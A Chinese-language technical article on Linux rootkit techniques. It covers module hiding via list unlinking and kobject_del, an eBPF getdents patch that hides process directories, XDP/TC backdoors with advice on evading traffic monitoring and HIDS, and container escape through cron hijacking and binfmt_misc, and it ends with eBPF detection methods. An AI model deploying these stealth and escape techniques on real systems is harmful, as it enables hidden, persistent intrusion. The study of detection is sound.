理论上讲，不存在毫无痕迹得Rootkit，因为如果毫无痕迹，攻击者就无法控制这个Rootkit，Rootkit的博弈，拼的就是谁对操作系统的底层了解更加深入。

/proc/modules 隐藏

当模块被装载进内核之后，其导出符号会变成内核公用符号表的一部分，可以直接通过 /proc/kallsyms 进行查看：

同时我们可以通过 /proc/modules查看到我们的 rootkit：

内核模块在内核当中被表示为一个 module结构体，当我们使用 insmod加载一个 LKM 时，实际上会调用到 init_module()系统调用创建一个 module结构体：

struct module {
 enum module_state state;  

 /* Member of list of modules */
 struct list_head list;
//...

多个 module结构体之间组成一个双向链表，链表头部定义于 kernel/module/main.c中：

LIST_HEAD(modules);

当我们使用 lsmod显示已经装载的内核模块时，实际上会读取 /proc/modules文件，而这实际是通过注册了序列文件接口对 modules 链表进行遍历完成的，同时这套逻辑也被应用于 /proc/kallsyms上：

/* Called by the /proc file system to return a list of modules. */
static void *m_start(struct seq_file *m, loff_t *pos)
{
    mutex_lock(&module_mutex);
    return seq_list_start(&modules, *pos);
}

static void *m_next(struct seq_file *m, void *p, loff_t *pos)
{
    return seq_list_next(p, &modules, pos);
}

static void m_stop(struct seq_file *m, void *p)
{
    mutex_unlock(&module_mutex);
}

// m_show 就是获取模块信息，没啥好看的：）

static const struct seq_operations modules_op = {
    .start  = m_start,
    .next   = m_next,
    .stop   = m_stop,
    .show   = m_show
};

/*
 * This also sets the "private" pointer to non-NULL if the
 * kernel pointers should be hidden (so you can just test
 * "m->private" to see if you should keep the values private).
 *
 * We use the same logic as for /proc/kallsyms.
 */
static int modules_open(struct inode *inode, struct file *file)
{
    int err = seq_open(file, &modules_op);

    if (!err) {
        struct seq_file *m = file->private_data;

        m->private = kallsyms_show_value(file->f_cred) ? NULL : (void *)8ul;
    }

    return err;
}

static const struct proc_ops modules_proc_ops = {
    .proc_flags = PROC_ENTRY_PERMANENT,
    .proc_open  = modules_open,
    .proc_read  = seq_read,
    .proc_lseek = seq_lseek,
    .proc_release   = seq_release,
};

static int __init proc_modules_init(void)
{
    proc_create("modules", 0, NULL, &modules_proc_ops);
    return 0;
}
module_init(proc_modules_init);

因此我们不难想到的是我们可以通过将 rootkit 模块的 module 结构体从双向链表上脱链的方式完成模块隐藏，我们可以通过 THIS_MODULE宏获取对当前模块的 module结构体的引用，从而有代码如下：

void a3_rootkit_hide_module_procfs(void)
{
    struct list_head *list;
    list = &(THIS_MODULE->list);
    list->prev->next = list->next;
    list->next->prev = list->prev;
}

内核隐藏项目源码diamorphine

断链后

/sys/module 隐藏

sysfs 与 procfs 相类似，同样是一个基于 RAM 的虚拟文件系统，它的作用是将内核信息以文件的方式提供给用户程序使用，其中便包括我们的 rootkit 模块信息，sysfs 会动态读取内核中的 kobject 层次结构并在 /sys/module/目录下生成文件

Kobject 是 Linux 中的设备数据结构基类，在内核中为 struct kobject结构体，通常内嵌在其他数据结构中；每个设备都有一个 kobject 结构体，多个 kobject 间通过内核双向链表进行链接；kobject 之间构成层次结构

/// include/linux/kobject.h
struct kobject {
    const char      *name;              /// 名字，可以唯一标识该对象
    struct list_head    entry;          /// 链接到所属的kset
    struct kobject      *parent;        /// 指向父kobject，通常来说，父kobject会内嵌到其他结构体中
    struct kset     *kset;              /// 所属的kset
    const struct kobj_type  *ktype;     /// 用于定义kobject的行为
    /// 对应sysfs目录，后续在kobject下添加的文件（比如属性）会放到这个目录，
    /// 每个文件也是一个kernfs_node，通过rbtree连接到kobject->sd
    struct kernfs_node  *sd;            /*sysfsdirectory entry */
    struct kref     kref;               /// 引用计数，用于管理kobject的生命周期
#ifdef CONFIG_DEBUG_KOBJECT_RELEASE
    struct delayed_work release;
#endif
    unsigned int state_initialized:1;       /// 是否完成初始化
    unsigned int state_in_sysfs:1;          /// 是否添加到sysfs中
    unsigned int state_add_uevent_sent:1;   ///
    unsigned int state_remove_uevent_sent:1;///
    unsigned int uevent_suppress:1;         ///
};

我们可以使用 kobject_del()函数（定义于 /lib/kobject.c中）来将一个 kobject 从层次结构中脱离，这里我们将在我们的 rootkit 的 init 函数末尾使用这个函数：

static int __init rootkit_init(void)  
{  
...

// unlink from kobject  
kobject_del(&__this_module.mkobj.kobj);  
list_del(&(&__list_module->mkobj.kobj.entry));

return 0;  
}

eBPF -- 一把双刃剑

eBPF（Extended Berkeley Packet Filter）是一个强大的编程框架，旨在在 Linux 内核中安全地运行沙盒程序，而无需对内核代码进行修改。

eBPF 程序是事件驱动的，当内核或应用程序通过某个钩子点时运行。预定义的钩子包括系统调用、函数入口/退出、内核跟踪点、网络事件等。

如果预定义的钩子不能满足特定需求，则可以创建内核探针（kprobe）或用户探针（uprobe），以便在内核或用户应用程序的几乎任何位置附加 eBPF 程序。另一方面，跟踪点只能附加到内核或用户空间中的预定义位置。任何时候该函数或地址运行时，eBPF 程序都会被调用，该程序将能够及时检查有关该函数调用和系统的信息。

ebpf Rootkit 的实现

• bpf_probe_write_user 修改用户空间内存

  • Corrupt syscall output

  • Minor and major page faults

  如果内存被换出或未标记为可写，该函数将失败

  一条警告消息会打印到内核日志中，说明正在使用该函数。这是为了警告用户程序正在使用具有潜在危险的 eBPF 辅助函数

int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx)
{
    // Only patch if we've already checked and found our pid's folder to hide
    size_t pid_tgid = bpf_get_current_pid_tgid();
    long unsigned int *pbuff_addr = bpf_map_lookup_elem(&map_to_patch, &pid_tgid);
    if (pbuff_addr == 0)
    {
        return 0;
    }

    // Unlink target, by reading in previous linux_dirent64 struct,
    // and setting it's d_reclen to cover itself and our target.
    // This will make the program skip over our folder.
    long unsigned int buff_addr = *pbuff_addr;
    struct linux_dirent64 *dirp_previous = (struct linux_dirent64 *)buff_addr;
    short unsigned int d_reclen_previous = 0;
    bpf_probe_read_user(&d_reclen_previous, sizeof(d_reclen_previous), &dirp_previous->d_reclen);

    struct linux_dirent64 *dirp = (struct linux_dirent64 *)(buff_addr + d_reclen_previous);
    short unsigned int d_reclen = 0;
    bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen);

    // Debug print
    char filename[MAX_PID_LEN];
    bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp_previous->d_name);
    filename[pid_to_hide_len - 1] = 0x00;
    bpf_printk("[PID_HIDE] filename previous %s\n", filename);
    bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name);
    filename[pid_to_hide_len - 1] = 0x00;
    bpf_printk("[PID_HIDE] filename next one %s\n", filename);

    // Attempt to overwrite
    short unsigned int d_reclen_new = d_reclen_previous + d_reclen;
    long ret = bpf_probe_write_user(&dirp_previous->d_reclen, &d_reclen_new, sizeof(d_reclen_new));

    // Send an event
    struct event *e;
    e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0);
    if (e)
    {
        e->success = (ret == 0);
        e->pid = (pid_tgid >> 32);
        bpf_get_current_comm(&e->comm, sizeof(e->comm));
        bpf_ringbuf_submit(e, 0);
    }

    bpf_map_delete_elem(&map_to_patch, &pid_tgid);
    return 0;
}

• bpf_override_return 修改返回值

  例如，如果你想运行kill -9 ，恶意软件可以将 kprobe 附加到适当的内核函数以处理 kill 信号，返回错误，并有效地阻止系统调用的发生

  • Block syscall

  • Alter syscall return value

    • But syscall was really executed by the kernel !

  有一个内核构建时选项可以启用它：CONFIG_BPF_KPROBE_OVERRIDE

  ALLOW_ERROR_INJECTION它仅适用于使用宏的函数

  目前仅支持 x86

  它只能与 kprobes 一起使用

XDP隐藏流量绕过TCPDUMP

BPF （伯克利包过滤器”（Berkeley Packet Filter））是 Linux 内核中一个非常灵活与高效的类虚拟机（virtual machine-like）组件， 能够在许多内核 hook 点安全地执行字节码（bytecode ）。很多 内核子系统都已经使用了 BPF，例如常见的网络（networking）、跟踪（ tracing）与安全（security ，例如沙盒）。

XDP 是Linux 内核中提供高性能、可编程的网络数据包处理框架

XDP 的工作模式

XDP 有三种工作模式，默认是 native（原生）模式，当讨论 XDP 时通常隐含的都是指这 种模式。

• Native XDP
  默认模式，在这种模式中，XDP BPF 程序直接运行在网络驱动的早期接收路径上（ early receive path）。

• Offloaded XDP
  在这种模式中，XDP BPF程序直接 offload 到网卡。

• Generic XDP
  对于还没有实现 native 或 offloaded XDP 的驱动，内核提供了一个 generic XDP 选 项，这种设置主要面向的是用内核的 XDP API 来编写和测试程序的开发者，对于在生产环境使用XDP，推荐要么选择native要么选择offloaded模式。

tcpdump这种抓包工具的原理和bpf后门是一样的，也是工作在链路层。所以网卡接收到数据包后，会先经过xdp ebpf后门，然后分别经过bpf后门和tcpdump。

TC 流量控制层

关于hijacking 的一点思考

目前对于防守方的监测主要是主机异常现象 和监测设备的异常 ，对于持久化通信的维持，在受害者主机进行 ebpf xdp 和 tc 的后门能够绕过主机的防火墙的限制，将特定的数据包转换成恶意的通信流量

如果在返回的数据包的内容中进行一部分自定义加密/编码/混淆，解除掉RAT 或者webshell的通信特征，不要直白的返回命令执行的结果，等回传到攻击者主机的时候，在攻击者机器进行ebpf XDP程序解密或去混淆，得到真实回传的恶意请求，可以绕过部分流量监测设备

常规的主机安全防御产品一般用netlinklinux kernel module等技术实现进程创建、网络通讯等行为感知，而eBPF的hook点可以比这些技术更加深，比他们执行更早，意味着常规HIDS并不能感知发现他

• Web&命令执行

• RAT

• FRP

ebpf docker容器逃逸

内核逃逸

• 内核漏洞：内核漏洞到容器逃逸的本质，就是nsproxy的切换

• 内核特性: 通过hook用户态的进程去完成容器外的命令执行

案例一 ： ebpf 实现cron 任务劫持逃逸

CRONTAB 原理

首先先定义了我们熟知的几个路径

#define CRONDIR "/var/spool/cron"
#define SPOOL_DIR "crontabs"
#define SYSCRONTAB "/etc/crontab"

文件检查

if (stat(SYSCRONTAB, &syscron_stat) < OK)
        syscron_stat.st_mtim = ts_zero;

/* if spooldir's mtime has not changed, we don't need to fiddle with
 * the database.
 *
 * Note that old_db->mtime is initialized to 0 in main(), and
 * so is guaranteed to be different than the stat() mtime the first
 * time this function is called.
 */
if (TEQUAL(old_db->mtim, TMAX(statbuf.st_mtim, syscron_stat.st_mtim))) {
    Debug(DLOAD, ("[%ld] spool dir mtime unch, no load needed.\n",
              (long)getpid()))
    return;
}

当mtime 和新的mtime 不一致的时候进入另一个分支，新的mtime取值是 mtime是 SPOOL_DIR和 SYSCRONTAB中的最大值。如果修改了，则记录在new_db中

if (TEQUAL(old_db->mtim, TMAX(statbuf.st_mtim, syscron_stat.st_mtim))) {
    Debug(DLOAD, ("[%ld] spool dir mtime unch, no load needed.\n",
              (long)getpid()))
    return;
}
new_db.mtim = TMAX(statbuf.st_mtim, syscron_stat.st_mtim);
new_db.head = new_db.tail = NULL;
if (!TEQUAL(syscron_stat.st_mtim, ts_zero))
    process_crontab("root", NULL, SYSCRONTAB, &syscron_stat,&new_db, old_db);

process_crontab的逻辑是先通过fd查看crontab是否可读取，然后，通过

// tabname = "/etc/crontab"
if ((crontab_fd = open(tabname, O_RDONLY|O_NONBLOCK|O_NOFOLLOW, 0)) < OK) {
    /* crontab not accessible?
     */
    log_it(fname, getpid(), "CAN'T OPEN", tabname);
    goto next_crontab;
}
if (fstat(crontab_fd, statbuf) < OK) {
    log_it(fname, getpid(), "FSTAT FAILED", tabname);
    goto next_crontab;
}

/* if crontab has not changed since we last read it
 * in, then we can just use our existing entry.
 */
if (TEQUAL(u->mtim, statbuf->st_mtim)) {
    Debug(DLOAD, (" [no change, using old data]"))
    unlink_user(old_db, u);
    link_user(new_db, u);
    goto next_crontab;
}

通俗理解：cron任务会定时读写，通过hook 让cron检测到文件的更新，当检测到更新时，会触发读取crontabs，最后通过hook 读取文件时候修改内存中的数据

详细原理：

• hooksys_enter获得进程的syscall id，从进程命令行获取对应的文件名（对比是否是cron）

• 读取文件/etc/crontab或者crontabs，主要目的是捕获对应的cron进程中判断两个文件名的地方

• 绕过两个TEQUAL，让cron检测到文件的更新

• 修改fstat 返回，只是需要我们先hook openat的返回处并保存打开的文件描述符的值

• 最后就是在读取文件信息的时候修改处于进程内存里的返回数据，即hook read系统调用返回的时候

binfmt_misc 内核容器逃逸

binfmt_misc是Linux内核的一种功能，它允许识别任意可执行文件格式，并将其传递给特定的用户空间应用程序，如模拟器和虚拟机。它不光光可以通过文件的扩展名来判断的，还可以通过文件开始位置的特殊的字节（Magic Byte）来判断

例如我们可以利用该功能执行.exe程序等

功能使用

使用binfmt_misc 首先要进行如下绑定

mount binfmt_misc -t binfmt_misc /proc/sys/fs/binfmt_misc

创建一个需要解释器的文件如test, 写入任意字符

echo abcdefg > test

创建解释器

！#/bin/bash
echo test

绑定解释器

echo ':binfmt-test:M::12345678::/usr/local/bin/fake-runner:P' > /proc/sys/fs/binfmt_misc/register

上述格式:name :type :offset :magic :mask :interpreter :flags

1）name：这个规则的名字，理论上可以取任何名字，只要不重名就可以了。但是为了方便以后维护一般都取一个有意义的名字，比如表示被打开文件特性的名字，或者要打开这个文件的程序的名字等；

2）type：表示如何匹配被打开的文件，只可以使用“E”或者“M”，只能选其一，两者不可共用。“E”代表只根据待打开文件的扩展名来识别，而“M”表示只根据待打开文件特定位置的几位魔数（Magic Byte）来识别；

3）offset：这个字段只对前面type字段设置成“M”之后才有效，它表示从文件的多少偏移开始查找要匹配的魔数。如果跳过这个字断不设置的话，默认就是0；

4）magic：它表示真正要匹配的魔数，如果type字段设置成“M”的话；或者表示文件的扩展名，如果type字段设置成“E”的话。对于匹配魔数来说，如果要匹配的魔数是ASCII码可见字符，可以直接输入，而如果是不可见的话，可以输入其16进制数值，前面加上“\x”或者“\x”（如果在Shell环境中的话。对于匹配文件扩展名来说，就在这里写上文件的扩展名，但不要包括扩展名前面的点号（“.”），且这个扩展名是大小写敏感的，有些特殊的字符，例如目录分隔符正斜杠（“/”）是不允许输入的；

5）mask：同样，这个字段只对前面type字段设置成“M”之后才有效。它表示要匹配哪些位，它的长度要和magic字段魔数的长度一致。如果某一位为1，表示这一位必须要与magic对应的位匹配；如果对应的位为0，表示忽略对这一位的匹配，取什么值都可以。如果是0xff的话，即表示全部位都要匹配，默认情况下，如果不设置这个字段的话，表示要与magic全部匹配（即等效于所有都设置成0xff）。还有同样对于NUL来说，要使用转义（\x00），否则对这行字符串的解释将到NUL停止，后面的不再起作用；

6）interpreter：表示要用哪个程序来启动这个类型的文件，一定要使用全路径名，不要使用相对路径名；

7）flags：这个字段可选，主要用来控制interpreter打开文件的行为。比较常用的是‘P’（请注意，一定要大写），表示保留原始的argv[0]参数。这是什么意思呢？默认情况下，如果不设置这个标志的话，binfmt_misc会将传给interpreter的第一个参数，即argv[0]，修改成要被打开文件的全路径名。当设置了‘P’之后，binfmt_misc会保留原来的argv[0]，在原来的argv[0]和argv[1]之间插入一个参数，用来存放要被打开文件的全路径名。比如，如果想用程序/bin/foo来打开/usr/local/bin/blah这个文件，如果不设置‘P’的话，传给程序/bin/foo的参数列表argv[]是["/usr/local/bin/blah", "blah"]，而如果设置了‘P’之后，程序/bin/foo得到的参数列表是["/bin/foo", "/usr/local/bin/blah", "blah"]。

执行跨系统程序

有的上述的信息我们可以利用wine 执行windows exe程序

echo ':DOSWin:M::MZ::/usr/local/bin/wine:' > register

利用dosexec 执行 dos应用

echo ':DEXE:M::\x0eDEX::/usr/bin/dosexec:' > register

自定义handler

容器逃逸思考

条件权限 容器具有 CAP_SYS_ADMIN 权限

通过自定义解析linux常见的特定类型文件如shell,elf文件，等host 主机执行我们所注册的文件时，我们的解释器优先于/bin/bash ，或者elf文件解释器 执行，达到容器逃逸的目的

找到容器挂载点

写一个自己自定义的handler

创建解析/bin/sh的新的解释器指向自己写的handler

主机执行任意sh脚本容器逃逸成功

ebpf 检测Rootkit

ebpf 监测恶意行为，包括网络通信和恶意调用的原理其实和攻击手法原理一样，检测的思路也异曲同工

由于ebpf能够通过钩子挂钩系统调用，因此通过探针安装完成特定系统调用的运行，监测是否异常可以看到是否存在rootkit

检测对系统调用表的劫持

检查系统调用入口指针是否存在于_text（内核内存空间代码段入口）和e_text（内核代码结束）之间，这是绝大部分内核符号所在的地址范围。如果出现系统调用表指向该范围之外的区域(实际上指向一个模块)，则有问题

例如劫持getdents 指向 自定义的功能模块

检测命令执行

当在用户执行一个新程序时, sys_execve执行到search_binary_handler时, 会调用LSM的security_bprm_check()函数检测是否允许继续执行

int search_binary_handler(struct linux_binprm *bprm)
{
    ...

    retval = security_bprm_check(bprm);
    if (retval)
        return retval;

    ...
}

针对execve syscall ,security_bprm_check ,sched_process_exec 等位置进行kprobe动态插桩和tracepoint 静态插桩完成检测

• execve syscall 系统调用

• security_bprm_check   检查用户是否有权限运行该文件

• sched_process_exec 每个成功调用系统调用exec()上触发

TRACE_EVENT(sched_process_exec,
    TP_PROTO(struct task_struct *p, pid_t old_pid,
         struct linux_binprm *bprm),

    TP_ARGS(p, old_pid, bprm),

    TP_STRUCT__entry(
        __string(    filename,    bprm->filename    )
        __field(    pid_t,        pid        )
        __field(    pid_t,        old_pid        )
    ),

    TP_fast_assign(
        __assign_str(filename, bprm->filename);
        __entry->pid        = p->pid;
        __entry->old_pid    = old_pid;
    ),

    TP_printk("filename=%s pid=%d old_pid=%d", __get_str(filename),
          __entry->pid, __entry->old_pid)
);

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